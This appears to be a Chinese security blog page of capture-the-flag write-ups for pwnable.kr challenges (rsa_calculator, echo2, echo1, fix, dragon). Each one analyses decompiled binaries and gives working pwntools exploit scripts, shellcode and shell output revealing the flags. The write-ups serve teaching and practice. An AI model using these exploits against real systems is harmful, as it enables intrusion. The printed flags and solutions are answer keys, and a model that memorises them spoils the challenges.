v7 = 0;
fgetc(stdin);
puts("paste your hex encoded data");
while ( 1 )
{
v1 = v6-- != 0;
if ( !v1 )
break;
v10 = fread(&ptr, 1uLL, 1uLL, stdin);
if ( !v10 )
exit(0);
if ( ptr == 10 )
break;
v15[v7++] = ptr;
}
memset(src, 0, 0x200uLL);
i = 0;
v9 = 0;
while ( 2 * v7 > i )
{
v11 = v15[i];
v12 = v15[i + 1];
v13 = 0;
v2 = &src[v9++];
__isoc99_sscanf(&v11, "%02x", v2);
i += 2;
}
v3 = src;
memcpy(g_ebuf, src, v7);
for ( i = 0; v7 / 8 > i; ++i )
{
v3 = pri;
v4 = decrypt(g_ebuf[i], (__int64)pri);
*(&g_pbuf + i) = v4;
}
*(&g_pbuf + i) = 0;
puts("- decrypted result -");
printf(&g_pbuf, v3); // /格式化字符串漏洞
putchar(10);
result = 0LL;
}
else
{
puts("data length exceeds buffer size");
result = 0LL;
}
}
else
{
puts("set RSA key first");
result = 0LL;
}
v5 = *MK_FP(__FS__, 40LL) ^ v17;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi@1
bool v5; // dl@4
int v6; // [sp+Ch] [bp-4h]@1

setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
setvbuf(stdin, 0LL, 1, 0LL);
puts("- Buggy RSA Calculator -\n");
func[0] = (__int64)set_key;
qword_602508 = (__int64)RSA_encrypt;
qword_602510 = (__int64)RSA_decrypt;
qword_602518 = (__int64)help;
qword_602520 = (__int64)myexit;
dword_602528 = 1634629488;
dword_60252C = 778398818;
dword_602530 = 1936290411;
dword_602534 = 1953719650;
qword_602538 = (__int64)system;
v6 = 0;
while ( 1 )
{
puts("\n- select menu -");
puts("- 1. : set key pair");
puts("- 2. : encrypt");
puts("- 3. : decrypt");
puts("- 4. : help");
puts("- 5. : exit");
printf("> ", v3);
v3 = &v6;
__isoc99_scanf("%d", &v6);
if ( (unsigned int)(v6 + 1) > 6 )
break;
((void (__fastcall *)(const char *, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])("%d", &v6);
v5 = g_try++ > 10;
if ( v5 )
{
puts("this is demo version");
exit(0);
}
}
puts("invalid menu");
return 0;
}

代码对于我来说还是有点长的,哈哈。贴了几个关键的函数,大致分析一下程序很容易找到在RSA_decrypt函数中存在printf格式化字符串漏洞,利用该漏洞可以读写内存。但是仔细分析后发现,仅仅利用该漏洞无法更改返回地址或则是got表。那就需要寻找另外的漏洞了。
接下来就是仔细分析程序各个部分的功能找出漏洞,经过简单分析可以发现另外两处漏洞。

  • set_key函数在设置key时没有严格按照RSA算法的要求(具体算法百度),导致可以很容易设置想要的值。
  • RSA_decrypt函数中,在向src变量赋值时存在栈溢出。

主要看看这个栈溢出。输入的密文v15是一个16进制编码的字符串,这里就是将v15转化为字符串存到src中。如果v15的长度为最大1024字节,那么这里的循环次数就是2×v7/2=1024,而每次循环src都要赋一个字节的值,所以循环520次后就开始覆盖栈的其他空间了。继续分析,其实当循环512次后v15的索引就已经越界了,其后就是src变量。那么后续覆盖返回地址和写shellcode就是使用src中的16进制编码的字符串了。当然RSA_decrypt函数是有stack canary的,需要先利用格式化字符串漏洞leak出来。
整理利用思路,这里我先leak处canary,然后利用栈溢出覆盖返回地址为pri变量的地址之后跟shellcode,并利用set_key函数的缺陷设置pri的值为jmp rsp指令。这样当函数返回时会跳转到pri执行jmp rsp从而执行shell。下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

def strToHex(s):
ret = ''
for i in s:
ret += '{:02x}'.format(ord(i))
return ret

def work(DEBUG):
context(arch='amd64',os='linux',log_level='info')
if DEBUG:
r = process('./rsa_calculator')
else:
r = remote('pwnable.kr',9012)

pri_addr = 0x602960

#set key
r.sendline('1')
r.recvuntil('p : ')
r.sendline('61\n53\n17\n2753')

#get stack canary
r.sendline('2\n1024\n%205$016lx')
r.recvuntil('(hex encoded) -\n')
cipher = r.recvline()
r.sendline('3\n1024\n'+cipher)
r.recvuntil('- decrypted result -\n')
stack_canary = int(r.recvline(),16)

#get shell
r.sendline('1\n3\n29312\n1\n58623') #asm('jmp rsp')=0xe4ff=58623
r.recvuntil('> ')
tmp = strToHex('a'*8+p64(stack_canary)+'a'*8+p64(pri_addr)+asm(shellcraft.sh())) #set retaddr=pri_addr
r.sendline('3\n1024\n'+strToHex(tmp+'30'*(1024-len(tmp))))

r.interactive()



work(False)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@1:~/桌面/test$ python 1.py 
[+] Opening connection to pwnable.kr on port 9012: Done
[*] Switching to interactive mode
-SET RSA KEY-
p : q : p, q, set to 3, 29312
-current private key and public keys-
public key : 11 00 00 00 a1 0c 00 00
public key : c1 0a 00 00 a1 0c 00 00
N set to 87936, PHI set to 58622
set public key exponent e : set private key exponent d : key set ok
pubkey(e,n) : (1(00000001), 87936(00015780))
prikey(d,n) : (58623(0000e4ff), 87936(00015780))

- select menu -
- 1. : set key pair
- 2. : encrypt
- 3. : decrypt
- 4. : help
- 5. : exit
> how long is your data?(max=1024) : paste your hex encoded data
- decrypted result -

$ ls
flag
log
rsa_calculator
super.pl
$ cat flag
what a stupid buggy rsa calculator! :(
$

总结

读逆向代码要细心,不能急躁,否则可能会花很多时间。

pwnable.kr-echo2

发表于 2018-03-10 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这道题和上一题主逻辑一样,主要是漏洞不一样了,这道题考察格式化支付串漏洞和堆的释放后重用漏洞。

分析

先分析反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi@1
_QWORD *v4; // rax@1
int v6; // [sp+Ch] [bp-24h]@1
_QWORD v7[4]; // [sp+10h] [bp-20h]@1

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
v3 = (int *)v7;
__isoc99_scanf("%24s", v7);
v4 = o;
*(_QWORD *)o = v7[0];
v4[1] = v7[1];
v4[2] = v7[2];
id = v7[0];
getchar();
func[0] = (__int64)echo1;
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
v6 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ", v3);
v3 = &v6;
__isoc99_scanf("%d", &v6);
getchar();
if ( (unsigned int)v6 > 3 )
break;
((void (__fastcall *)(const char *, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])("%d", &v6);
}
if ( v6 == 4 )
break;
puts("invalid menu");
}
cleanup();
printf("Are you sure you want to exit? (y/n)", &v6);
v6 = getchar();
}
while ( v6 != 121 );
puts("bye");
return 0;
}

1
2
3
4
5
6
7
8
9
10
__int64 echo2()
{
char format; // [sp+0h] [bp-20h]@1

(*((void (__fastcall **)(_QWORD))o + 3))(o);
get_input(&format, 32LL);
printf(&format);
(*((void (__fastcall **)(_QWORD))o + 4))(o);
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
__int64 echo3()
{
char *s; // ST08_8@1

(*((void (__fastcall **)(_QWORD))o + 3))(o);
s = (char *)malloc(0x20uLL);
get_input(s, 32LL);
puts(s);
free(s);
(*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
return 0LL;
}

程序这次只实现了echo2和echo3函数。分析可以发现,echo2函数中有格式化字符串漏洞。利用这个漏洞可以读写任意8字节内存。开始想得利用方式是向v7变量(就是要输入的名字)写shellcode然后通过该漏洞改写返回地址跳转到该处执行,但是实际上栈地址是64位的想一次写入64位的整数到内存用时太长,特别是在题目平台更长。所以这种方法并不可取。
另一处漏洞需要echo3函数配合main函数里的一处逻辑缺陷来制造uaf漏洞。仔细分析main函数发现,如果在选择4选项退出时,程序会执行cleanup函数,该函数会执行free(o)释放掉先前申请的0x28大小的堆空间。接下来程序又会询问是否退出,否的话又会进入主逻辑执行。很明显的一处释放后重用。而echo3函数中申请了0x20大小的堆空间,根据glibc的堆管理策略,这次申请的堆会直接使用上次释放的堆块,这样如果覆盖了第4个8字节就会导致后面执行(*((void (__fastcall **)(_QWORD))o + 3))(o);时执行任意覆盖的地址了。利用这个漏洞就能解决printf写内存的困难。
整理下利用思路,向v7变量覆盖shellcode,使用prinf的漏洞leak处栈地址然后计算处v7的地址,之后利用uaf漏洞跳转到v7执行。下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

def work(DEBUG):
context(arch='amd64',os='linux',log_level='info')
if DEBUG:
r = process('./echo2')
else:
r = remote('pwnable.kr',9011)


shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"# 23 bytes

#context.terminal=['gnome-terminal','-x','sh','-c']
#gdb.attach(proc.pidof(r)[0])

r.recvuntil(' : ')
r.sendline(shellcode)
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('\n')
r.sendline('%10$016lx') # get rbp addr

rbp_addr = int(r.recv(16),16)
v7_addr = rbp_addr-0x20

r.recvuntil('> ')
r.sendline('4')
r.recvuntil('(y/n)')
r.sendline('n\n3\n'+'a'*24+p64(v7_addr))

r.recvuntil('> ')
r.sendline('3')
r.interactive()

work(False)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@1:~/桌面/test$ python 1.py 
[+] Opening connection to pwnable.kr on port 9011: Done
[*] Switching to interactive mode
hello
aaaaaaaaaaaaaaaaaaaaaaaa0\x1f\xb4>\xfe\x7f
goodbye

- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> sh: 1: 3: not found
$ ls
echo2
flag
log
super.pl
$ cat flag
fun_with_UAF_and_FSB :)
$

另外注意这是linux的x64环境下,printf的利用需要考虑前6个参数是寄存器传递的,要计算好。

总结

两个漏洞的配合最后拿下shell,很爽。

pwnable.kr-echo1

发表于 2018-03-06 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

简单的栈溢出题目。

分析

先分析反编译的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi@1
_QWORD *v4; // rax@1
int v6; // [sp+Ch] [bp-24h]@1
_QWORD v7[4]; // [sp+10h] [bp-20h]@1

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
v3 = (int *)v7;
__isoc99_scanf("%24s", v7);
v4 = o;
*(_QWORD *)o = v7[0];
v4[1] = v7[1];
v4[2] = v7[2];
id = v7[0];
getchar();
func[0] = (__int64)echo1;
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
v6 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ", v3);
v3 = &v6;
__isoc99_scanf("%d", &v6);
getchar();
if ( (unsigned int)v6 > 3 )
break;
((void (__fastcall *)(const char *, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])("%d", &v6);
}
if ( v6 == 4 )
break;
puts("invalid menu");
}
cleanup("%d", &v6);
printf("Are you sure you want to exit? (y/n)");
v6 = getchar();
}
while ( v6 != 121 );
puts("bye");
return 0;
}

1
2
3
4
5
6
7
8
9
10
__int64 echo1()
{
char s; // [sp+0h] [bp-20h]@1

(*((void (__fastcall **)(_QWORD))o + 3))(o);
get_input(&s, 128);
puts(&s);
(*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 128LL);
return 0LL;
}

程序主要逻辑是给出三个选项,每个选项都会执行一个echo函数,但是本题只实现了第一个echo函数。
分析echo1函数可以发现,它存在栈溢出漏洞。再看看保护

1
2
3
4
5
6
7
8
root@1:~/桌面/test$ checksec echo1
[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/test/echo1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

思路是在栈上布置shellcode然后跳转到此处执行。但是程序没有泄漏地址的地方,这里观察到main函数中id变量被赋予了v7[0],而这里的内容是可以控制的(他就是name的前8字节)。于是可以通过在id中写入jmp rsp的指令来跳转到shellcode处执行。下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

def work(DEBUG):
context(arch='amd64',os='linux',log_level='info')
if DEBUG:
r = process('./echo1')
else:
r = remote('pwnable.kr',9010)

id_addr = 0x6020a0

r.recvuntil(' : ')
r.sendline(asm('jmp rsp'))
r.recvuntil('> ')
r.sendline('1')
r.sendline('a'*0x28+p64(id_addr)+asm(shellcraft.sh()))
r.interactive()

work(False)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@1:~/桌面/test$ python 1.py 
[+] Opening connection to pwnable.kr on port 9010: Done
[*] Switching to interactive mode
hello \xff�aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa0 `
goodbye \xff�
$
$ ls
echo1
flag
log
super.pl
$ cat flag
H4d_som3_fun_w1th_ech0_ov3rfl0w
$

总结

简单的栈溢出利用

pwnable.kr-fix

发表于 2018-02-27 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

看似简单的改代码题,但是还是需要强大的汇编知识。花了很长时间,主要是自己对指令不是很熟悉。

分析

先分析源码fix.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>

// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void shellcode(){
// a buffer we are about to exploit!
char buf[20];

// prepare shellcode on executable stack!
strcpy(buf, sc);

// overwrite return address!
*(int*)(buf+32) = buf;

printf("get shell\n");
}

int main(){
printf("What the hell is wrong with my shellcode??????\n");
printf("I just copied and pasted it from shell-storm.org :(\n");
printf("Can you fix it for me?\n");

unsigned int index=0;
printf("Tell me the byte index to be fixed : ");
scanf("%d", &index);
fflush(stdin);

if(index > 22) return 0;

int fix=0;
printf("Tell me the value to be patched : ");
scanf("%d", &fix);

// patching my shellcode
sc[index] = fix;

// this should work..
shellcode();
return 0;
}

程序逻辑简单,如题目所说shellcode无法正确执行,但我们只能修改其中一个字节。看了shellcode函数,开始以为是地址布置出错,但是看了反汇编代码发现返回地址的计算没有错误,于是反汇编一下shellcode看看有没有问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> a="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
>>> a+="\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
>>> print disasm(a)
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx,esp
13: b0 0b mov al,0xb
15: cd 80 int 0x80
>>>

仔细分析代码发现shellcode并没有问题,后来放在gdb调试的时候发现在执行shellcode的时候,shellcode的代码会变化。。这就很奇怪了,啥问题呢?仔细分析栈空间的排布就知道了,shellcode布置在栈中占了23个字节,buf变量的位置是ebp-0x1c(反汇编代码就能看出),所以shellcode尾部达到了ebp-5,然而函数返回执行shellcode时esp指向返回地址下面4个字节,这里相距shellcode有13字节,所以后续的pop操作只能执行3次,否则就会覆盖shellcode的部分代码,造成执行失败。
知道了失败的原因那么如何通过只修改一个字节达到执行成功的目的呢?这里确实得熟悉汇编指令才行,我的思路是修改push eax为leave指令(他们都是单子节指令),这样当执行到这里时就相当于执行了mov esp,ebp;pop ebp。于是栈顶就下降了后续的pop就不会修改shellcode了,但是这样的话shellcode虽然会正确执行但是会报错

1
2
3
4
5
6
7
8
9
10
root@1:~/桌面/test$ ./fix
What the hell is wrong with my shellcode??????
I just copied and pasted it from shell-storm.org :(
Can you fix it for me?
Tell me the byte index to be fixed : 15
Tell me the value to be patched : 201
get shell
/bin//sh: 0: Can't open ����
P��c
root@1:~/桌面/test$

这说明我们已经成功执行/bin/sh了,但是似乎这样的修改增加/bin/sh的参数。确实如此,执行leave指令后,栈已经变了,就无法保证ecx指向的第二个字符串是0,所以可能就会多出别的参数。这里可以根据错误提示新建一个和错误提示的一样的文件,然后在里面写入sh,这样当再次执行程序时,就会试图执行这个文件的命令了。另外这个多出的参数由于是栈上的数据,而不是栈地址,所以它不具有随机性,所以这种方法可行而且实际上确实可行。下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

def work():
context(arch='i386',os='linux',log_level='info')
the_path = '/home/fix/fix'
r = process(the_path)

#r.recvuntil("fixed : ")
r.sendline("15")
#r.recvuntil("patched : ")
r.sendline("201")
r.recvuntil('get shell\n')
error_text = r.recvline()
r.kill()

a = error_text.find('open ')
fname = error_text[a+5:-1]
f = open(fname,'w')
f.write('sh\n')
f.close()

r = process(the_path)
r.sendline("15")
r.sendline("201")
r.interactive()

work()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fix@ubuntu:/tmp$ python 1.py
[+] Starting local process '/home/fix/fix': Done
[*] Stopped program '/home/fix/fix'
[+] Starting local process '/home/fix/fix': Done
[*] Switching to interactive mode
What the hell is wrong with my shellcode??????
I just copied and pasted it from shell-storm.org :(
Can you fix it for me?
Tell me the byte index to be fixed : Tell me the value to be patched : get shell
$ ls
ls: cannot open directory '.': Permission denied
$ cd /home/fix
$ ls
fix fix.c flag intended_solution.txt
$ cat flag
Sorry for blaming shell-strom.org :) it was my ignorance!
$

注意要把exp上传题目平台执行

总结

虽说是改代码的题,但是还是学到了很多。

pwnable.kr-dragon

发表于 2018-02-27 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这道题找溢出找了半天,游戏也玩了半天,唉最后还是细心读代码找出了漏洞。这是一个c语言不同类型比较隐式转换导致的漏洞,还是有点意思的。

分析

放ida逆向一下,程序代码逻辑有点长,不过认真读的话还是能理解的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int PlayGame()
{
int result; // eax@1

while ( 1 )
{
while ( 1 )
{
puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight");
result = GetChoice();
if ( result != 1 && result != 2 )
break;
FightDragon(result);
}
if ( result != 3 )
break;
SecretLevel();
}
return result;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
void __cdecl FightDragon(int a1)
{
char v1; // al@1
void *v2; // ST1C_4@10
int v3; // [sp+10h] [bp-18h]@7
_DWORD *ptr; // [sp+14h] [bp-14h]@1
_DWORD *v5; // [sp+18h] [bp-10h]@1

ptr = malloc(0x10u);
v5 = malloc(0x10u);
v1 = Count++;
if ( v1 & 1 )
{
v5[1] = 1;
*((_BYTE *)v5 + 8) = 80;
*((_BYTE *)v5 + 9) = 4;
v5[3] = 10;
*v5 = PrintMonsterInfo;
puts("Mama Dragon Has Appeared!");
}
else
{
v5[1] = 0;
*((_BYTE *)v5 + 8) = 50;
*((_BYTE *)v5 + 9) = 5;
v5[3] = 30;
*v5 = PrintMonsterInfo;
puts("Baby Dragon Has Appeared!");
}
if ( a1 == 1 )
{
*ptr = 1;
ptr[1] = 42;
ptr[2] = 50;
ptr[3] = PrintPlayerInfo;
v3 = PriestAttack((int)ptr, v5);
}
else
{
if ( a1 != 2 )
return;
*ptr = 2;
ptr[1] = 50;
ptr[2] = 0;
ptr[3] = PrintPlayerInfo;
v3 = KnightAttack((int)ptr, v5);
}
if ( v3 )
{
puts("Well Done Hero! You Killed The Dragon!");
puts("The World Will Remember You As:");
v2 = malloc(0x10u);
__isoc99_scanf("%16s", v2);
puts("And The Dragon You Have Defeated Was Called:");
((void (__cdecl *)(_DWORD *))*v5)(v5);
}
else
{
puts("\nYou Have Been Defeated!");
}
free(ptr);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int __cdecl PriestAttack(int a1, void *ptr)
{
int v2; // eax@1

do
{
(*(void (__cdecl **)(void *))ptr)(ptr);
(*(void (__cdecl **)(int))(a1 + 12))(a1);
v2 = GetChoice();
switch ( v2 )
{
case 2:
puts("Clarity! Your Mana Has Been Refreshed");
*(_DWORD *)(a1 + 8) = 50;
printf("But The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3));
*(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3);
printf("And The Dragon Heals %d HP!\n", *((_BYTE *)ptr + 9));
*((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
break;
case 3:
if ( *(_DWORD *)(a1 + 8) <= 24 )
{
puts("Not Enough MP!");
}
else
{
puts("HolyShield! You Are Temporarily Invincible...");
printf("But The Dragon Heals %d HP!\n", *((_BYTE *)ptr + 9));
*((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
*(_DWORD *)(a1 + 8) -= 25;
}
break;
case 1:
if ( *(_DWORD *)(a1 + 8) <= 9 )
{
puts("Not Enough MP!");
}
else
{
printf("Holy Bolt Deals %d Damage To The Dragon!\n", 20);
*((_BYTE *)ptr + 8) -= 20;
*(_DWORD *)(a1 + 8) -= 10;
printf("But The Dragon Deals %d Damage To You!\n", *((_DWORD *)ptr + 3));
*(_DWORD *)(a1 + 4) -= *((_DWORD *)ptr + 3);
printf("And The Dragon Heals %d HP!\n", *((_BYTE *)ptr + 9));
*((_BYTE *)ptr + 8) += *((_BYTE *)ptr + 9);
}
break;
}
if ( *(_DWORD *)(a1 + 4) <= 0 )
{
free(ptr);
return 0;
}
}
while ( *((_BYTE *)ptr + 8) > 0 );
free(ptr);
return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int SecretLevel()
{
char s1; // [sp+12h] [bp-16h]@1
int v2; // [sp+1Ch] [bp-Ch]@1

v2 = *MK_FP(__GS__, 20);
printf("Welcome to Secret Level!\nInput Password : ");
__isoc99_scanf("%10s", &s1);
if ( strcmp(&s1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
{
puts("Wrong!\n");
exit(-1);
}
system("/bin/sh");
return *MK_FP(__GS__, 20) ^ v2;
}

贴了几个关键的函数反编译代码,程序逻辑就不细说了,下面只记录关键部分。
在SecretLevel函数中有一段执行shell的代码,但是没办法绕过判断。程序的漏洞在PriestAttack函数内,该函数在怪物的血量不大于0时跳出循环,但是记录怪物血量的变量是BYTE类型的,也就是unsigned char类型。与它比较的0默认情况是signed int。
在c语言中不同类型的变量做比较会进行隐式类型转换,短长度类型会向较长长度类型转换,长度一致符号不同则向无符号转换,整数会向float转换,float会向double转换。这些网上都能搜到,所以就不继续说了。
那么这里的比较,BYTE就会向signed int转换。如果此时怪物血量为128,转换为二进制就是10000000,那么进行符号扩展时就变成了0xffffff80,而这个数其符号位为1所以是个负数,那么函数就会跳出循环并返回1。然而使怪物的血量达到128是可行的,可以使用第一个英雄挑战Mama Dragon,每个回合配合使用3和2技能使怪物自动增长血量,最后就能使怪物血量达到128。
接下来就是游戏胜利的判断了。

1
2
3
4
5
6
7
8
9
if ( v3 )
{
puts("Well Done Hero! You Killed The Dragon!");
puts("The World Will Remember You As:");
v2 = malloc(0x10u);
__isoc99_scanf("%16s", v2);
puts("And The Dragon You Have Defeated Was Called:");
((void (__cdecl *)(_DWORD *))*v5)(v5);
}

进入该判断后,由于在前面的函数中v5这个堆指针已经释放了但是没有置0,这里马上又申请了一个大小一样的堆空间,那么根据glibc的堆分配策略这里的v2会引用之前v5指向的堆,接下来v2的内容可控下面又有v5函数的调用,所以就可以写入任意地址来执行了。这里算是一个UAF漏洞。
知道了利用方法下面给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

def work(DEBUG):
context(arch='i386',os='linux',log_level='info')
if DEBUG:
r = process('./dragon')
else:
r = remote('pwnable.kr',9004)

target_addr = 0x08048dbf

r.send("1\n"*3+'1\n'+"3\n3\n2\n"*4)
r.recvuntil("You As:\n")
r.sendline(p32(target_addr))
r.interactive()

work(False)

1
2
3
4
5
6
7
8
9
10
11
12
root@1:~/桌面/test$ python 1.py
[+] Opening connection to pwnable.kr on port 9004: Done
[*] Switching to interactive mode
And The Dragon You Have Defeated Was Called:
$ ls
dragon
flag
log
super.pl
$ cat flag
MaMa, Gandhi was right! :)
$

总结

在c语言编码时得注意不同类型变量的比较,很有可能在隐式转换时造成漏洞。

12…5

r00tnb

努力学习网络安全技术,喜欢二进制,一直努力但进步甚微。

46 日志
4 分类
6 标签
GitHub E-Mail
友情链接
  • 还没有T_T
© 2018 r00tnb
博客全站共53.3k字